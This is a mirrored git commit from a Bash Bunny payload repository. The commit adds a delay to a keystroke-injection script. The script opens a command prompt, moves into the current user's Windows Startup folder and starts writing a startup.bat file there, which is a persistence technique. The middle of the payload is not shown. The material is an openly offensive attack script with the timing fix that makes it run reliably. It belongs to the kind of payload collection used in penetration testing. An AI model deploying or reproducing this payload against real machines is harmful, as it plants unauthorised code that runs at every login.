mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
Adding Delay
You must add a delay after RUN WIN cmd or it won't always write on the cmd
This commit is contained in:
@@ -16,6 +16,7 @@ LED ATTACK
|
|||||||
|
|
||||||
#Running cmd to create file in startup directory
|
#Running cmd to create file in startup directory
|
||||||
RUN WIN cmd
|
RUN WIN cmd
|
||||||
|
Q DELAY 150
|
||||||
Q STRING "cd C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
|
Q STRING "cd C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
|
||||||
Q ENTER
|
Q ENTER
|
||||||
Q STRING "echo @echo off > startup.bat"
|
Q STRING "echo @echo off > startup.bat"
|
||||||
@@ -27,4 +28,4 @@ Q ENTER
|
|||||||
Q ALT F4
|
Q ALT F4
|
||||||
|
|
||||||
#Fast green followed by Solid -> Finished
|
#Fast green followed by Solid -> Finished
|
||||||
LED FINISH
|
LED FINISH
|
||||||
|
|||||||
Reference in New Issue
Block a user